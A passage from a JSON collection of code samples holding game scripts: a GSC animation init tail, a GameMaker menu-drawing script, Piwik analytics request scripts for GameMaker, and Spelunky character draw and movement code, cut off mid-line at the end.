)\r\n\t{\r\n\t\tanim.dog_presstime = 350;\r\n\t}\r\n\t\t\r\n\tif ( !IsDefined( anim.dog_hits_before_kill ) )\r\n\t{\r\n\t\tanim.dog_hits_before_kill = 1;\r\n\t}\r\n\r\n\tlevel.nextGrenadeDrop = RandomInt(3);\r\n\tlevel.lastPlayerSighted = 100;\r\n\tanim.defaultException = maps\\mp\\animscripts\\zm_init::empty;\r\n\t\r\n\tSetDvar( \"scr_expDeathMayMoveCheck\", \"on\" );\r\n\t\r\n\t// Global constants\r\n\tanim.lastSideStepAnim = 0;\r\n\tanim.meleeRange = 64;\r\n\tanim.meleeRangeSq = anim.meleeRange * anim.meleeRange;\r\n\tanim.standRangeSq = 512*512;\r\n\tanim.chargeRangeSq = 200*200;\r\n\tanim.chargeLongRangeSq = 512*512;\r\n\tanim.aiVsAiMeleeRangeSq = 400*400;\r\n\r\n\tanim.combatMemoryTimeConst = 10000;\r\n\tanim.combatMemoryTimeRand = 6000;\r\n\tanim.scriptChange = \"script_change\";\r\n\r\n\t// MikeD (10/23/2007 10:38:58): Gib Support\r\n\tanim.lastGibTime \t= 0;\r\n\tanim.gibDelay \t\t= 3 * 1000; // 3 seconds\r\n\tanim.minGibs\t\t= 2;\r\n\tanim.maxGibs\t\t= 4;\r\n\tanim.totalGibs\t\t= RandomIntRange( anim.minGibs, anim.maxGibs );\r\n\t\r\n\tanim.corner_straight_yaw_limit = 36;\r\n\r\n\tif (!IsDefined(anim.optionalStepEffectFunction))\r\n\t{\r\n\t\tanim.optionalStepEffects = [];\r\n\t\tanim.optionalStepEffectFunction = ::empty;\r\n\t}\r\n\r\n\t// string based array for notetracks\r\n\tanim.notetracks = [];\r\n\tmaps\\mp\\animscripts\\zm_shared::registerNoteTracks();\r\n\t\r\n\tif ( !IsDefined( level.flag ) )\r\n\t{\r\n\t\tlevel.flag = [];\r\n\t\tlevel.flags_lock = [];\r\n\t}\r\n\r\n\tlevel.painAI = undefined;\r\n\t\r\n\t\r\n\tanim.maymoveCheckEnabled = true; // corner_axis doesnt do the check if this is false, for credits\r\n\r\n\tanim.badPlaces = []; // queue for animscript badplaces\r\n\tanim.badPlaceInt = 0; // assigns unique names to animscript badplaces since we cant save a badplace as an entity\r\n\r\n\tanim.coverCrouchLeanPitch = -55;\r\n\t\r\n\tanim.lastCarExplosionTime = -100000;\r\n}\r\n\r\nonPlayerConnect()\r\n{\r\n\tplayer = self;\r\n\t\r\n\t// make sure the init has been called\r\n\tfirstInit();\r\n\r\n\tplayer.invul = false;\r\n}\r\n\r\n"
  },
  {
    "path": "samples/Game Maker Language/GMLmenus.gml",
    "content": "// Source - https://github.com/faissaloo/GMLmenus/blob/master/GMLmenus.gml\n\n#define draw_menu\n///draw_menu(str,background,foreground,x,y,hpadding,vpadding,height,mouse_button)\n//Distributed under the MIT licence:\n/////////////////////////////////////////\n/*Permission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.*/\n/////////////////////////////////////////\n//Height is the height of 1 box\n//Menu syntax:\n//  |s = seperator (Bug: if |s is placed next to a |n an extra menu item would be added)\n//  |n = new item\nvar str, background, foreground,xx,yy, width, height;\nstr = \" \"+argument0 //A hacky thing so that it draws the first item properly, I should probably properly fix this later\nbackground = argument1\nforeground = argument2\nxx = argument3\nyy = argument4\nwidth = 0//argument5\nhpadding = argument5\nvpadding = argument6\nheight = argument7\nmb=argument8 //This is the main mouse button, I added this to give more choice to the dev\n//xx and yy should be corrected if they are placed outside of the room or if they will lead to the menu being cut off by the edge of the room\nitem_list = ds_list_create()\nitem_string = \"\"\n///////////////////////////////////\nfor (i=0;i<string_length(str);i+=1) //Parse the string, it's being set to -1 because it won't read the first character otherwise, yes this is very hacky and stupid, but I can't be bothered right now\n{\nif string_char_at(str,i)=\"|\" //If it finds a | it means there will be an escape character\n{\ni+=1 //Move to the next character\n\nswitch(string_char_at(str,i)) //Check which escape character it is\n{\ncase \"s\":\n    //i+=1\n    ds_list_add(item_list,\"|s\")\n    //ds_list_add(item_list,\"\") //This is for the meta info\n\ncase \"n\":\n    i+=1 //Skip the letter itself as we don't want it to be drawn\n    //For some reason this is always 10\n    //But it works perfectly fine if an escape code isn't the first character\n    //show_message(string(i)+\"<\"+string(string_length(str))) //Debug\n    for (ii=i;ii<=string_length(str);ii+=1)\n    {\n    //show_message(string_char_at(str,ii))\n    if string_char_at(str,ii)=\"|\"\n    {\n    //i-=1\n    break; //We don't want it to go any further if the next character is a backslash\n    }\n    //If the for loop hasn't been broken then it'll draw the character\n    item_string+=string_char_at(str,ii)\n    }\n    \n    if string_width(item_string)>width\n    {\n        width=string_width(item_string)\n    }\n    \n    \n    ds_list_add(item_list,item_string) //Add a new item to the list\n    item_string=\"\" //Reset the item_string\n}\n}\n}\ndraw_set_color(background)\n//draw_rectangle(xx,yy,xx+width,yy+(height*ds_list_size(item_list)),false) //Background, temporary?\ndraw_button(xx,yy,xx+width+(hpadding*2),yy+(height*(ds_list_size(item_list)-1))+vpadding,true) //Background, temporary?\n\nfor (i=0;i<ds_list_size(item_list);i+=1) //Go through the list of menu items\n{\n\n\n\n    draw_set_color(background)\n    //draw_rectangle(xx,yy+(height*i),xx+width,yy+(height),false) //Draw the rectange for this one, we're doing this so we can add cool effects to each of them\n    draw_set_color(foreground)\n    \n    if ds_list_find_value(item_list,i)=\"|s\"\n    {  \n        draw_line(xx+hpadding,yy+((height*(i+0.5))/2)+vpadding,xx+width,yy+((height*(i+0.5))/2)+vpadding) //Draw the seperator\n    }\n    else\n    {\n        //draw_text(xx+(width/10),yy+((height/2)*i),ds_list_find_value(item_list,i))\n        draw_text(xx+hpadding,yy+((height/2)*i)+vpadding,ds_list_find_value(item_list,i))\n        //padding\n    }\n    \n    if (mouse_x>xx) and (mouse_x<xx+width) and (mouse_y<yy+(height/2)*(i+1)) and (mouse_y>yy) and mouse_check_button_released(mb)\n    {\n        //show_message(i+1) //Debugging\n        return i+1; //Returns the number of the item in the list, we're adding 1 because 0 is reserved for if nothing is clicked\n    }\n\n    \n\n}\n\nif mouse_check_button_released(mb) and !(mouse_x>xx and mouse_y>yy and mouse_x<xx+width and mouse_y<yy+(height*(ds_list_size(item_list)-1))) //If the mouse was clicked outside\n{\n    return 0; //Return 0 to indicate that the user chose to exit the menu by clicking outside of it\n}\n\nreturn -1; //If we haven't already returned something, return a -1 to indicate that nothing was clicked\n\n"
  },
  {
    "path": "samples/Game Maker Language/_piwikCacheRequest.gml",
    "content": "// Source - https://github.com/johnhatch14/GMS-Extensions/blob/master/PiwikAnalyticsForGMS/GMS_PiwikAnalytics.gmx/scripts/_piwikCacheRequest.gml\n\nvar jsonMap, fh;\n\nvar otz = date_get_timezone();\ndate_set_timezone(timezone_utc);\nvar requestToCache = argument0 + \"cdt=\"+_piwikUrlEncode(string(current_year)+\"-\"+\n                                 string(current_month)+\"-\"+\n                                 string(current_day)+\" \"+\n                                 string(current_hour)+\":\"+\n                                 string(current_minute)+\":\"+\n                                 string(current_second));\ndate_set_timezone(otz);\n\nif (file_exists(_Piwik_CacheFile))\n{\n //Verify cache signature to make sure no unwanted (heaven-forbid, malicious) requests have been added.\n var curCacheSig = sha1_string_utf8(sha1_file(_Piwik_CacheFile) + \"v5T7uAXnpQ3BGKq\" + string(game_id+2563542));\n ini_open(_Piwik_IniFile);\n var storedSig = ini_read_string(\"cache\", \"sig\", \"NULL\");\n ini_close();\n if (string_count(storedSig, curCacheSig) == 1)\n {\n    fh = file_text_open_read(_Piwik_CacheFile);\n    var cachedJson = base64_decode(file_text_read_string(fh));\n    file_text_close(fh);\n    \n    jsonMap = json_decode(cachedJson);\n    \n    if (!ds_exists(jsonMap, ds_type_map))\n       jsonMap = ds_map_create();\n }\n else\n {\n  if (_PiwikDebugOutput)\n     show_debug_message(\"Piwik Error: Signature mis-match. LOCAL REQUEST-CACHE HAS BEEN TAMPERED WITH! The ninjas are here somewhere...\");\n  jsonMap = ds_map_create();//Start with a fresh cache since the old one is corrupted. An ounce of lost analytics is worth a pound of security.\n }\n}\nelse\n{\n jsonMap = ds_map_create();\n}\n\nif (!is_undefined(jsonMap[? \"requests\"]))\n{\n ds_list_add(jsonMap[? \"requests\"], requestToCache);\n}\nelse\n{\n var requestList = ds_list_create();\n ds_list_add(requestList, requestToCache);\n \n ds_map_add_list(jsonMap, \"requests\", requestList);\n}\n\nvar newCachedJson = json_encode(jsonMap);\nds_map_destroy(jsonMap);\n\nfh = file_text_open_write(_Piwik_CacheFile);\nfile_text_write_string(fh, base64_encode(newCachedJson));\nfile_text_close(fh);\n\nvar cacheSig = sha1_string_utf8(sha1_file(_Piwik_CacheFile) + \"v5T7uAXnpQ3BGKq\" + string(game_id+2563542));\n\nini_open(_Piwik_IniFile);\nini_write_string(\"cache\", \"sig\", cacheSig);\nini_close();"
  },
  {
    "path": "samples/Game Maker Language/_piwikSendBasicReq.gml",
    "content": "/***************************************************\n  Builds and sends the actual piwik tracking request\n  \n  Copyright (c) 2015 John Hatch\n  Licenced under the MIT licence: http://opensource.org/licenses/MIT\n ***************************************************/\n\n// Source - https://github.com/johnhatch14/GMS-Extensions/blob/master/PiwikAnalyticsForGMS/GMS_PiwikAnalytics.gmx/scripts/_piwikSendBasicReq.gml\n\n//Build argument map\n   var args = ds_map_create();\n   \n   //-----\n   // Populate GET arguments to Piwik HTTP API\n   // See full HTTP API reference at http://developer.piwik.org/api-reference/tracking-api\n   //-----\n   \n   //Required args\n   ds_map_add(args, \"idsite\", string(_Piwik_idsite));\n   ds_map_add(args, \"rec\", \"1\");\n   ds_map_add(args, \"url\", _piwikUrlEncode(_Piwik_baseurl + \"/\" + room_get_name(room)));\n   ds_map_add(args, \"apiv\", \"1\");\n   ds_map_add(args, \"_id\", _piwikUrlEncode(_Piwik_id));\n   ds_map_add(args, \"rand\", _piwikUrlEncode( string(round(random(999999999)+game_id)) ));\n   //ds_map_add(args, \"new_visit\", \"0\");\n   \n   //Pass local time to API\n   var ctz = date_get_timezone();\n   date_set_timezone(timezone_local);\n   var now = date_current_datetime();\n   ds_map_add(args, \"h\", _piwikUrlEncode(string(date_get_hour(now))));\n   ds_map_add(args, \"m\", _piwikUrlEncode(string(date_get_minute(now))));\n   ds_map_add(args, \"s\", _piwikUrlEncode(string(date_get_second(now))));\n   date_set_timezone(ctz);\n   \n   // Add any other arguments passed to script in the form \"param=value\" to the http arg map\n   //-----\n   var arg_keyval;\n   for (var i=0; i<argument_count; i++)\n   {\n    arg_keyval = _piwikStringExplode(argument[i],'=');\n    ds_map_add(args, arg_keyval[0], _piwikUrlEncode(string(arg_keyval[1])));\n   }\n\n//Build argument string\n   var argstring = \"\";\n   var prevkey = ds_map_find_first(args);\n   argstring += (prevkey + \"=\" + args[? prevkey] + \"&\");\n   repeat (ds_map_size(args)-1)\n   {\n    prevkey = ds_map_find_next(args, prevkey);\n    argstring += (prevkey + \"=\" + args[? prevkey] + \"&\");\n   }\nds_map_destroy(args);\n\n//Append query string to ds_list of requests to be sent at End Step. \nds_list_add(_PIWIK_REQS, \"?\" + argstring);"
  },
  {
    "path": "samples/Game Maker Language/_piwikSendReq.gml",
    "content": "/***************************************************\n  Builds and sends the actual piwik tracking request\n  \n  Copyright (c) 2015 John Hatch\n  Licenced under the MIT licence: http://opensource.org/licenses/MIT\n ***************************************************/\n\n// Source - https://github.com/johnhatch14/GMS-Extensions/blob/master/PiwikAnalyticsForGMS/GMS_PiwikAnalytics.gmx/scripts/_piwikSendReq.gml\n\n//Build argument map\n   var args = ds_map_create();\n   \n   //-----\n   // Populate GET arguments to Piwik HTTP API\n   // See full HTTP API reference at http://developer.piwik.org/api-reference/tracking-api\n   //-----\n   \n   //Required args\n   ds_map_add(args, \"idsite\", string(_Piwik_idsite));\n   ds_map_add(args, \"rec\", \"1\");\n   //ds_map_add(args, \"send_image\", \"0\");\n   ds_map_add(args, \"url\", _piwikUrlEncode(_Piwik_baseurl));\n   \n   //\n   ds_map_add(args, \"apiv\", \"1\");\n   ds_map_add(args, \"_id\", _piwikUrlEncode(_Piwik_id));\n   ds_map_add(args, \"rand\", _piwikUrlEncode( string(round(random(999999999)+game_id)) ));\n   \n   //Pass local time to API\n   var ctz = date_get_timezone();\n   date_set_timezone(timezone_local);\n   var now = date_current_datetime();\n   ds_map_add(args, \"h\", _piwikUrlEncode(string(date_get_hour(now))));\n   ds_map_add(args, \"m\", _piwikUrlEncode(string(date_get_minute(now))));\n   ds_map_add(args, \"s\", _piwikUrlEncode(string(date_get_second(now))));\n   date_set_timezone(ctz);\n   \n   //Pass local display resolution\n   ds_map_add(args, \"res\", _piwikUrlEncode(string(display_get_width())+'x'+string(display_get_height())));\n   \n   //Pass local language\n   ds_map_add(args, \"lang\", _piwikUrlEncode(os_get_language()));\n   \n   //Pass stored values if they exist\n   if (_Piwik_idvc != -1)\n      ds_map_add(args, \"_idvc\", _piwikUrlEncode(string(_Piwik_idvc)));\n   if (_Piwik_idts != -1)\n      ds_map_add(args, \"_idts\", _piwikUrlEncode(string(_Piwik_idts)));\n   if (_Piwik_viewts != -1)\n      ds_map_add(args, \"_viewts\", _piwikUrlEncode(string(_Piwik_viewts)));\n   \n   //-----\n   // Add any other arguments passed to script in the form \"param=value\" to the http arg map\n   //-----\n   var arg_keyval;\n   for (var i=0; i<argument_count; i++)\n   {\n    arg_keyval = _piwikStringExplode(argument[i],'=');\n    ds_map_add(args, arg_keyval[0], _piwikUrlEncode(string(arg_keyval[1])));\n   }\n\n//Build argument string\n   var argstring = \"\";\n   var prevkey = ds_map_find_first(args);\n   argstring += (prevkey + \"=\" + args[? prevkey] + \"&\");\n   repeat (ds_map_size(args)-1)\n   {\n    prevkey = ds_map_find_next(args, prevkey);\n    argstring += (prevkey + \"=\" + args[? prevkey] + \"&\");\n   }\nds_map_destroy(args);\n\n//Append query string to ds_list of requests to be sent at End Step. \nds_list_add(_PIWIK_REQS, \"?\" + argstring);"
  },
  {
    "path": "samples/Game Maker Language/characterDrawEvent.gml",
    "content": "// Originally from /spelunky/Scripts/Platform Engine/characterDrawEvent.gml in the Spelunky Community Update Project\n\n/**********************************************************************************\n    Copyright (c) 2008, 2009 Derek Yu and Mossmouth, LLC\n    \n    This file is part of Spelunky.\n\n    You can redistribute and/or modify Spelunky, including its source code, under\n    the terms of the Spelunky User License.\n\n    Spelunky is distributed in the hope that it will be entertaining and useful,\n    but WITHOUT WARRANTY. Please see the Spelunky User License for more details.\n\n    The Spelunky User License should be available in \"Game Information\", which\n    can be found in the Resource Explorer, or as an external file called COPYING.\n    If not, please obtain a new copy of Spelunky from <http://spelunkyworld.com/>\n    \n***********************************************************************************/\n\n/*\nThis event should be placed in the draw event of the platform character.\n*/\n//draws the sprite\ndraw = true;\nif (facing == RIGHT) image_xscale = -1;\nelse image_xscale = 1;\n\nif (blinkToggle != 1)\n{\n    if ((state == CLIMBING or (sprite_index == sPExit or sprite_index == sDamselExit or sprite_index == sTunnelExit)) and global.hasJetpack and not whipping)\n    {\n        draw_sprite_ext(sprite_index, -1, x, y, image_xscale, image_yscale, image_angle, image_blend, image_alpha);\n        //draw_sprite(sprite_index,-1,x,y);\n        draw_sprite(sJetpackBack,-1,x,y);\n        draw = false;\n    }\n    else if (global.hasJetpack and facing == RIGHT) draw_sprite(sJetpackRight,-1,x-4,y-1);\n    else if (global.hasJetpack) draw_sprite(sJetpackLeft,-1,x+4,y-1);\n    if (draw)\n    {\n        if (redColor > 0) draw_sprite_ext(sprite_index, -1, x, y, image_xscale, image_yscale, image_angle, make_color_rgb(200 + redColor,0,0), image_alpha);\n        else draw_sprite_ext(sprite_index, -1, x, y, image_xscale, image_yscale, image_angle, image_blend, image_alpha);\n    }\n    if (facing == RIGHT)\n    {\n        if (holdArrow == ARROW_NORM)\n        {\n            draw_sprite(sArrowRight, -1, x+4, y+1);\n        }\n        else if (holdArrow == ARROW_BOMB)\n        {\n            if (holdArrowToggle) draw_sprite(sBombArrowRight, 0, x+4, y+2);\n            else draw_sprite(sBombArrowRight, 1, x+4, y+2);\n        }\n    }\n    else if (facing == LEFT)\n    {\n        if (holdArrow == ARROW_NORM)\n        {\n            draw_sprite(sArrowLeft, -1, x-4, y+1);\n        }\n        else if (holdArrow == ARROW_BOMB)\n        {\n            if (holdArrowToggle) draw_sprite(sBombArrowLeft, 0, x-4, y+2);\n            else draw_sprite(sBombArrowLeft, 1, x-4, y+2);\n        }\n    }\n}\n/*\nif canRun\n{\n  xOffset=80\n  if player=1\n    yOffset=120\n  else\n    yOffset=143\n  //draw the \"flySpeed\" bar, which shows how much speed the character has acquired while holding the \"run\" button\n  //draw_healthbar(view_xview[0]+224+xOffset,view_yview[0]+432+yOffset,view_xview[0]+400+xOffset,view_yview[0]+450+yOffset,flySpeed,make_color_rgb(0,64,128),c_blue,c_aqua,0,1,1)\n}\n*/\n"
  },
  {
    "path": "samples/Game Maker Language/characterStepEvent.gml",
    "content": "// Originally from /spelunky/Scripts/Platform Engine/characterStepEvent.gml in the Spelunky Community Update Project\n\n/**********************************************************************************\n    Copyright (c) 2008, 2009 Derek Yu and Mossmouth, LLC\n    \n    This file is part of Spelunky.\n\n    You can redistribute and/or modify Spelunky, including its source code, under\n    the terms of the Spelunky User License.\n\n    Spelunky is distributed in the hope that it will be entertaining and useful,\n    but WITHOUT WARRANTY. Please see the Spelunky User License for more details.\n\n    The Spelunky User License should be available in \"Game Information\", which\n    can be found in the Resource Explorer, or as an external file called COPYING.\n    If not, please obtain a new copy of Spelunky from <http://spelunkyworld.com/>\n    \n***********************************************************************************/\n\n/*\nThis script should be placed in the step event for the platform character.\nIt updates the keys used by the character, moves all of the solids, moves the\ncharacter, sets the sprite index, and sets the animation speed for the sprite.\n*/\nhangCountMax = 3;\n\n//////////////////////////////////////\n// KEYS\n//////////////////////////////////////\n\nkLeft = checkLeft();\n\nif (kLeft) kLeftPushedSteps += 1;\nelse kLeftPushedSteps = 0;\n  \nkLeftPressed = checkLeftPressed();\nkLeftReleased = checkLeftReleased();\n  \nkRight = checkRight();\n  \nif (kRight) kRightPushedSteps += 1;\nelse kRightPushedSteps = 0;\n  \nkRightPressed = checkRightPressed();\nkRightReleased = checkRightReleased();\n  \nkUp = checkUp();\nkDown = checkDown();\n  \n//key \"run\"\nif canRun\n    kRun = 0;\n// kRun=runKey\nelse\n    kRun=0\n  \nkJump = checkJump();\nkJumpPressed = checkJumpPressed();\nkJumpReleased = checkJumpReleased();\n  \nif (cantJump > 0)\n{\n    kJump = 0;\n    kJumpPressed = 0;\n    kJumpReleased = 0;\n    cantJump -= 1;\n}\nelse\n{\n    if (global.isTunnelMan and\n        sprite_index == sTunnelAttackL and\n        !holdItem)\n    {\n        kJump = 0;\n        kJumpPressed = 0;\n        kJumpReleased = 0;\n        cantJump -= 1;\n    }\n}\n\nkAttack = checkAttack();\nkAttackPressed = checkAttackPressed();\nkAttackReleased = checkAttackReleased();\n\nkItemPressed = checkItemPressed();\n\nxPrev = x;\nyPrev = y;\n\nif (stunned or dead)\n{\n    kLeft = false;\n    kLeftPressed = false;\n    kLeftReleased = false;\n    kRight = false;\n    kRightPressed = false;\n    kRightReleased = false;\n    kUp = false;\n    kDown = false;\n    kJump = false;\n    kJumpPressed = false;\n    kJumpReleased = false;\n    kAttack = false;\n    kAttackPressed = false;\n    kAttackReleased = false;\n    kItemPressed = false;\n}\n\n//////////////////////////////////////////\n// Collisions\n//////////////////////////////////////////\n\ncolSolidLeft = false;\ncolSolidRight = false;\ncolLeft = false;\ncolRight = false;\ncolTop = false;\ncolBot = false;\ncolLadder = false;\ncolPlatBot = false;\ncolPlat = false;\ncolWaterTop = false;\ncolIceBot = false;\nrunKey = false;\nif (isCollisionMoveableSolidLeft(1)) colSolidLeft = true;\nif (isCollisionMoveableSolidRight(1)) colSolidRight = true;\nif (isCollisionLeft(1)) colLeft = true;\nif (isCollisionRight(1)) colRight = true;\nif (isCollisionTop(1)) colTop = true;\nif (isCollisionBottom(1)) colBot = true;\nif (isCollisionLadder()) colLadder = true;\nif (isCollisionPlatformBottom(1)) colPlatBot = true;\nif (isCollisionPlatform()) colPlat = true;\nif (isCollisionWaterTop(1)) colWaterTop = true;\nif (collision_point(x, y+8, oIce, 0, 0)) colIceBot = true;\nif (checkRun())\n{\n    runHeld = 100;\n    runKey = true;\n}\n\nif (checkAttack() and not whipping)\n{\n    runHeld += 1;\n    runKey = true;\n}\n\nif (not runKey or (not kLeft and not kRight)) runHeld = 0;\n\n// allows the character to run left and right\n// if state!=DUCKING and state!=LOOKING_UP and state!=CLIMBING\nif (state != CLIMBING and state != HANGING)\n{\n    if (kLeftReleased and approximatelyZero(xVel)) xAcc -= 0.5\n    if (kRightReleased and approximatelyZero(xVel)) xAcc += 0.5\n    \n    if (kLeft and not kRight)\n    {\n        if (colSolidLeft)\n        {\n            // xVel = 3;\n            if (platformCharacterIs(ON_GROUND) and state != DUCKING)\n            {\n                xAcc -= 1;\n                pushTimer += 10;\n                //if (not SS_IsSoundPlaying(global.sndPush)) playSound(global.sndPush);\n            }\n        }\n        else if (kLeftPushedSteps > 2) and (facing=LEFT or approximatelyZero(xVel))\n        {\n            xAcc -= runAcc;\n        }\n        facing = LEFT;\n        //if (platformCharacterIs(ON_GROUND) and abs(xVel) > 0 and alarm[3] < 1) alarm[3] = floor(16/-xVel);\n    }\n  \n    if (kRight and not kLeft)\n    {\n        if (colSolidRight)\n        {\n            // xVel = 3;\n            if (platformCharacterIs(ON_GROUND) and state != DUCKING)\n            {\n                xAcc += 1;\n                pushTimer += 10;\n                //if (not SS_IsSoundPlaying(global.sndPush)) playSound(global.sndPush);\n            }\n        }\n        else if (kRightPushedSteps > 2 or colSolidLeft) and (facing=RIGHT or approximatelyZero(xVel))\n        {\n            xAcc += runAcc;\n        }\n        facing = RIGHT;\n        //if (platformCharacterIs(ON_GROUND) and abs(xVel) > 0 and alarm[3] < 1) alarm[3] = floor(16/xVel);\n    }\n}\n\n/******************************************\n\n  LADDERS\n  \n*******************************************/\n\nif (state == CLIMBING)\n{\n    if (instance_exists(oCape))\n    {\n        oCape.open = false;\n    }\n    kJumped = false;\n    ladderTimer = 10;\n    ladder = collision_point(x, y, oLadder, 0, 0);\n    if (ladder) x = ladder.x + 8;\n\n    if (kLeft) facing = LEFT;\n    else if (kRight) facing = RIGHT;\n    if (kUp)\n    {\n        if (collision_point(x, y-8, oLadder, 0, 0) or collision_point(x, y-8, oLadderTop, 0, 0))\n        {\n            yAcc -= climbAcc;\n            if (alarm[2] < 1) alarm[2] = 8;\n        }\n    }\n    else if (kDown)\n    {\n        if (collision_point(x, y+8, oLadder, 0, 0) or collision_point(x, y+8, oLadderTop, 0, 0))\n        {\n            yAcc += climbAcc;\n            if (alarm[2] < 1) alarm[2] = 8;\n        }\n        else\n            state = FALLING;\n        if (colBot) state = STANDING;\n    }\n    \n    if (kJumpPressed and not whipping)\n    {\n        if (kLeft)\n            xVel = -departLadderXVel;\n        else if (kRight)\n            xVel = departLadderXVel;\n        else\n            xVel = 0;\n        yAcc += departLadderYVel;\n        state = JUMPING;\n        jumpButtonReleased = 0;\n        jumpTime = 0;\n        ladderTimer = 5;\n    }\n}\nelse\n{\n     if (ladderTimer > 0) ladderTimer -= 1;\n}\n\nif (platformCharacterIs(IN_AIR) and state != HANGING)\n{\n    yAcc += gravityIntensity;\n}\n\n// Player has landed\nif ((colBot or colPlatBot) and platformCharacterIs(IN_AIR) and yVel >= 0)\n{\n    if (not colPlat or colBot)\n    {\n        yVel = 0;\n        yAcc = 0;\n        state = RUNNING;\n        jumps = 0;\n    }\n    //playSound(global.sndLand);\n}\nif ((colBot or colPlatBot) and not colPlat) yVel = 0;\n\n// Player has just walked off of the edge of a solid\nif (colBot == 0 and (not colPlatBot or colPlat) and platformCharacterIs(ON_GROUND))\n{\n    state = FALLING;\n    yAcc += grav;\n    kJumped = true;\n    if (global.hasGloves) hangCount = 5;\n}\n\nif (colTop)\n{\n    if (dead or stunned) yVel = -yVel * 0.8;\n    else if (state == JUMPING) yVel = abs(yVel*0.3)\n}\n\nif (colLeft and facing == LEFT) or (colRight and facing == RIGHT)\n{\n    if (dead or stunned) xVel = -xVel * 0.5;\n    else xVel = 0;\n}\n\n/******************************************\n\n  JUMPING\n  \n*******************************************/\n\nif (kJumpReleased and platformCharacterIs(IN_AIR))\n{\n    kJumped = true;\n}\nelse if (platformCharacterIs(ON_GROUND))\n{\n    oCape.open = false;\n    kJumped = false;\n}\n\nif (kJumpPressed and collision_point(x, y, oWeb, 0, 0))\n{\n    obj = instance_place(x, y, oWeb);\n    obj.life -= 1;\n    yAcc += initialJumpAcc * 2;\n    yVel -= 3;\n    xAcc += xVel/2;\n    \n    state = JUMPING;\n    jumpButtonReleased = 0;\n    jumpTime = 0;\n    \n    grav = gravNorm;\n}\nelse if (kJumpPressed and colWaterTop)\n{\n    yAcc += initialJumpAcc * 2;\n    yVel -= 3;\n    xAcc += xVel/2;\n    \n    state = JUMPING;\n    jumpButtonReleased = 0;\n    jumpTime = 0;\n    \n    grav = gravNorm;\n}\nelse if (global.hasCape and kJumpPressed and kJumped and platformCharacterIs(IN_AIR))\n{\n    if (not oCape.open) oCape.open = true;\n    else oCape.open = false;\n}\nelse if (global.hasJetpack and kJump and kJumped and platformCharacterIs(IN_AIR) and jetpackFuel > 0)\n{\n    yAcc += initialJumpAcc;\n    yVel = -1;\n    jetpackFuel -= 1;\n    if (alarm[10] < 1) alarm[10] = 3;\n    \n    state = JUMPING;\n    jumpButtonReleased = 0;\n    jumpTime = 0;\n    \n    grav = 0;\n}\nelse if (platformCharacterIs(ON_GROUND) and kJumpPressed and fallTimer == 0)\n{\n    if (xVel > 3 or xVel < -3)\n    {\n        yAcc += initialJumpAcc * 2;\n        xAcc += xVel * 2;\n    }\n    else\n    {\n        yAcc += initialJumpAcc * 2;\n        xAcc += xVel/2;\n    }\n    \n    if (global.hasJordans)\n    {\n        yAcc *= 3;\n        yAccLimit = 12;\n        grav = 0.5;\n    }\n    else if (global.hasSpringShoes) yAcc *= 1.5;\n    else\n    {\n        yAccLimit = 6;\n        grav = gravNorm;\n    }\n    \n    playSound(global.sndJump);\n    \n    pushTimer = 0;\n\n    // the \"state\" gets changed to JUMPING later on in the code\n    state = FALLING;\n    // \"variable jumping\" states\n    jumpButtonReleased = 0;\n    jumpTime = 0;\n}\n\nif (jumpTime < jumpTimeTotal) jumpTime += 1;\n//let the character continue to jump\nif (kJump == 0) jumpButtonReleased = 1;\nif (jumpButtonReleased) jumpTime = jumpTimeTotal;\n\ngravityIntensity = (jumpTime/jumpTimeTotal) * grav;\n\nif (kUp and platformCharacterIs(ON_GROUND) and not colLadder)\n{\n    looking = UP;\n    if (xVel == 0 and xAcc == 0) state = LOOKING_UP;\n}\nelse looking = 0;\n\nif (not kUp and state == LOOKING_UP)\n{\n    state=STANDING\n}\n\n/******************************************\n\n  HANGING\n  \n*******************************************/\n\nif (not colTop)\n{\nif (global.hasGloves and yVel > 0)\n{\n    if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kRight and colRight and\n        (collision_point(x+9, y-5, oSolid, 0, 0) or collision_point(x+9, y-6, oSolid, 0, 0)))\n    {\n        state = HANGING;\n        move_snap(1, 8);\n        yVel = 0;\n        yAcc = 0;\n        grav = 0;\n    }\n    else if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kLeft and colLeft and\n        (collision_point(x-9, y-5, oSolid, 0, 0) or collision_point(x-9, y-6, oSolid, 0, 0)))\n    {\n        state = HANGING;\n        move_snap(1, 8);\n        yVel = 0;\n        yAcc = 0;\n        grav = 0;\n    }\n}\nelse if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kRight and colRight and\n        (collision_point(x+9, y-5, oTree, 0, 0) or collision_point(x+9, y-6, oTree, 0, 0)))\n{\n    state = HANGING;\n    move_snap(1, 8);\n    yVel = 0;\n    yAcc = 0;\n    grav = 0;\n}\nelse if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kLeft and colLeft and\n        (collision_point(x-9, y-5, oTree, 0, 0) or collision_point(x-9, y-6, oTree, 0, 0)))\n{\n    state = HANGING;\n    move_snap(1, 8);\n    yVel = 0;\n    yAcc = 0;\n    grav = 0;\n}\nelse if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kRight and colRight and\n    (collision_point(x+9, y-5, oSolid, 0, 0) or collision_point(x+9, y-6, oSolid, 0, 0)) and\n    not collision_point(x+9, y-9, oSolid, 0, 0) and not collision_point(x, y+9, oSolid, 0, 0))\n{\n  state = HANGING;\n  move_snap(1, 8);\n  yVel = 0;\n  yAcc = 0;\n  grav = 0;\n}\nelse if (hangCount == 0 and y > 16 and !platformCharacterIs(ON_GROUND) and kLeft and colLeft 